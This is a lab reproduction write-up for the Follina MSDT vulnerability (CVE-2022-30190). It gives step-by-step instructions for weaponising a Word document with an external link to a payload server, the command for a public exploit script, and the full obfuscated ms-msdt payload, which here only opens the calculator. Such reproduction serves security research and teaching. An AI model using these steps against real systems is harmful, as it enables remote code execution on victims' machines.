CVE-2022-30190

aka Follina

Vulnerability Description

Follina exists in the Microsoft Support Diagnostic Tool (MSDT). When an application calls MSDT via a URL protocol for support, a remote code execution vulnerability occurs. Successful exploitation allows an attacker to execute arbitrary code with the permissions of the application.

Reproduction Environment

* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016

Reproduction Steps

Creating Malicious Document

Step1 Create a Word document (.docx) and insert an OLE object (e.g., Bitmap Image) in the text.
Step2 Unzip the .docx file, edit the word/_rels/document.xml.rels file under the folder, change the Target="embeddings/oleObject1.bin" highlighted in yellow below to Target = "http://<payload_server>/<random_name>.html!", and add the attribute TargetMode = "External".

Step3 Edit the word/document.xml file under the folder, change the Type="Embed" highlighted in yellow below to Type="Link", and add the attribute UpdateMode="OnCall".

Step4 Use 7-zip to open the .docx file (without extracting), drop the above two files into the .docx file, to complete the malicious document creation.

Setting up C2 Server

Download the Follina.py released by John Hammond. Here we take calling a basic calculator as an example:
python3 follina.py -c calc.exe -i eth0

NOTE

In the Follina.py file, lines 117-125 mainly create the malicious payload (.html). The content is as follows. <script>location.href... is the script that executes the calculator on the victim's machine. The entire file is also padded with a large number of random characters, aiming to fill the file to at least 4096 bytes. For the reason, refer to “Follina” MSDT Attack.

<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script

References

News Explanation Follina.py
Malicious Document
Vulnerability Test 1
Vulnerability Test 2
Vulnerability Test 3